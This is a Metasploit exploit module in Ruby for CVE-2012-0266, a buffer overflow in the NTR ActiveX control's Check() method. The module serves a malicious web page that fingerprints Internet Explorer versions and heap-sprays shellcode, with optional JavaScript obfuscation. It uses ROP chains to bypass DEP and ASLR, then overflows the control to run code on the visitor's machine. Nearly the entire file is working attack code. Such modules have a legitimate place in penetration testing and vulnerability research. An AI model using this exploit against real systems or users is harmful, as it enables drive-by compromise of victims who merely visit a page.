##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb
  #include Msf::Exploit::Remote::BrowserAutopwn
  #
  #autopwn_info({
  #  :ua_name    => HttpClients::IE,
  #  :ua_minver  => "6.0",
  #  :ua_maxver  => "9.0",
  #  :javascript => true,
  #  :os_name => OperatingSystems::Match::WINDOWS,
  #  :classid    => "{E6ACF817-0A85-4EBE-9F0A-096C6488CFEA}",
  #  :method     => "Check",
  #  :rank       => NormalRanking
  #})


  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NTR ActiveX Control Check() Method Buffer Overflow',
      'Description'    => %q{
          This module exploits a vulnerability found in NTR ActiveX 1.1.8. The
        vulnerability exists in the Check() method, due to the insecure usage of strcat to
        build a URL using the bstrParams parameter contents (note: this is also the reason
        why the module won't allow you to modify the URIPATH), which leads to code execution
        under the context of the user visiting a malicious web page. In order to bypass
        DEP and ASLR on Windows Vista and Windows 7 JRE 6 is needed.
      },
      'Author'         =>
        [
          'Carsten Eiram', # Vuln discovery
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2012-0266' ],
          [ 'OSVDB', '78252' ],
          [ 'BID', '51374' ],
          [ 'URL', 'http://web.archive.org/web/20120514113631/http://secunia.com/secunia_research/2012-1/' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Payload'        =>
        {
          'Space' => 956,
          'DisableNops' => true,
          'BadChars'    => "",
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          # NTR ActiveX 1.1.8.0
          [ 'Automatic', {} ],
          [ 'IE 6 on Windows XP SP3',
            {
              'Rop' => nil,
              'Offset' => '0x5f4',
              'Random' => false,
              'Ret' => 0x0c0c0c0c
            }
          ],
          [ 'IE 7 on Windows XP SP3',
            {
              'Rop' => nil,
              'Offset' => '0x5f4',
              'Random' => false,
              'Ret' => 0x0c0c0c0c
            }
          ],
          [ 'IE 8 on Windows XP SP3',
            {
              'Rop' => :msvcrt,
              'Offset' => '0x5f4',
              'Random' => false,
              'Ret' => 0x77c15ed5 # xchg eax, esp # ret # from msvcrt
            }
          ],
          [ 'IE 7 on Windows Vista',
            {
              'Rop' => nil,
              'Offset' => '0x5f4',
              'Random' => false,
              'Ret' => 0x0c0c0c0c
            }
          ],
          [ 'IE 8 on Windows Vista',
            {
              'Rop' => :jre,
              'Offset' => '0x5f4',
              'Random' => false,
              'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcrt71 from Java 6
            }
          ],
          [ 'IE 8 on Windows 7',
            {
              'Rop' => :jre,
              'Offset' => '0x5f4',
              'Random' => false,
              'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcrt71 from Java 6
            }
          ],
          [ 'IE 9 on Windows 7',
            {
              'Rop' => :jre,
              'Offset' => '0x5fe',
              'Random' => true,
              'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcrt71 from Java 6
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-01-11',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ], self.class
    )

    deregister_options('URIPATH')

  end

  #
  # Returns a random URI path which allows to reach the vulnerable code
  #
  def resource_uri
    path = random_uri
    path << random_uri
    return path
  end


  #
  # Generates a random URI for use with making finger printing more
  # challenging.
  #
  def random_uri
    "/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6)
  end

  # Spray published by corelanc0d3r
  # Exploit writing tutorial part 11 : Heap Spraying Demystified
  # See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
  def get_random_spray(t, js_code, js_nops)
    randnop = rand_text_alpha(rand(100) + 1)

    spray = <<-JS

    function randomblock(blocksize)
    {
      var theblock = "";
      for (var i = 0; i < blocksize; i++)
      {
        theblock += Math.floor(Math.random()*90)+10;
      }
      return theblock;
    }

    function tounescape(block)
    {
      var blocklen = block.length;
      var unescapestr = "";
      for (var i = 0; i < blocklen-1; i=i+4)
      {
        unescapestr += "%u" + block.substring(i,i+4);
      }
      return unescapestr;
    }

    var heap_obj = new heapLib.ie(0x10000);

    var code = unescape("#{js_code}");
    var #{randnop} = "#{js_nops}";
    var nops = unescape(#{randnop});

    while (nops.length < 0x80000) nops += nops;

    var offset_length = #{t['Offset']};

    for (var i=0; i < 0x1000; i++) {
      var padding = unescape(tounescape(randomblock(0x1000)));
      while (padding.length < 0x1000) padding+= padding;
      var junk_offset = padding.substring(0, offset_length);
      var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
      while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
      sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
      heap_obj.alloc(sprayblock);
    }

    JS

    return spray
  end

  def get_spray(t, js_code, js_nops)
    randnop = rand_text_alpha(rand(100) + 1)

    spray = <<-JS
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var #{randnop} = "#{js_nops}";
    var nops = unescape(#{randnop});

    while (nops.length < 0x80000) nops += nops;

    var offset = nops.substring(0, #{t['Offset']});
    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);

    heap_obj.gc();
    for (var z=1; z < 449; z++) {
      heap_obj.alloc(block);
    }

    JS

    return spray

  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'
    if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
      return targets[1] #IE 6 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
      return targets[2] #IE 7 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
      return targets[3] #IE 7 on Windows XP SP3
    elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
      return targets[4] #IE 7 on Windows Vista SP2
    elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8/
      return targets[5] #IE 7 on Windows Vista SP2
    elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
      return targets[6] #IE 7 on Windows 7 SP1
    elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
      return targets[7] #IE 7 on Windows 7 SP1
    else
      return nil
    end
  end

  def get_payload(t, cli)
    code = payload.encoded

    # No rop. Just return the payload.
    return code if t['Rop'].nil?

    # Both ROP chains generated by mona.py - See corelan.be
    case t['Rop']
      when :msvcrt
        print_status("Using msvcrt ROP")
        rop_payload = generate_rop_payload('msvcrt', code, {'target'=>'xp'})

      else
        print_status("Using JRE ROP")
        rop_payload = generate_rop_payload('java', code)
    end

    return rop_payload
  end

  def on_request_uri(cli, request)

    agent = request.headers['User-Agent']
    print_status("User-agent: #{agent}")

    my_target = get_target(agent)

    # Avoid the attack if the victim doesn't have a setup we're targeting
    if my_target.nil?
      print_error("Browser not supported: #{agent}")
      send_not_found(cli)
      return
    end

    p = get_payload(my_target, cli)
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
    js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
    js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

    if my_target['Random']
      js = get_random_spray(my_target, js_code, js_random_nops)
    else
      js = get_spray(my_target, js_code, js_nops)
    end

    js = heaplib(js, {:noobfu => true})

    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate(memory_sensitive: true)
    end

    # The overflow occurs after strcat'ing controlled data to
    # a url with the next format:
    # http://192.168.1.128:8080/asdf/mod/mod.asp?a=0&d=[USER DATA]
    #
    # The URI length can be calculated on the fly since the value
    # for the "a" param is being always 0 on my tests, even when
    # should be the result of GetTickCount
    my_uri = get_uri(cli)
    pos = my_uri.rindex("/")
    my_uri = my_uri[0, pos]
    my_uri << "/mod/mod.asp?a=0&d="

    my_badchars = "\x00\x0a\x0d\x22\x2c"

    if my_target['Rop'].nil?
      bof = rand_text_alpha(1056 - my_uri.length, my_badchars)
      bof << [my_target.ret].pack("V")
    else
      bof = rand_text_alpha(1024 - my_uri.length, my_badchars)
      bof << [0x0c0c0c0c].pack("V") # will become ESP after stackpivot
      bof << rand_text_alpha(1056 - my_uri.length - bof.length, my_badchars)
      bof << [my_target.ret].pack("V") # stackpivot
    end

    sploit = "#{bof},#{rand_text_alpha(4)},#{rand_text_alpha(4)}"

    html = <<-MYHTML
    <html>
    <head>
    <script>
    #{js}
    </script>
    </head>
    <body>
    <object classid='clsid:E6ACF817-0A85-4EBE-9F0A-096C6488CFEA' id='test'></object>
    <script>
    test.Check("#{sploit}");
    </script>
    </body>
    </html>
    MYHTML

    html = html.gsub(/^ {4}/, '')

    print_status("Sending html")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end
end
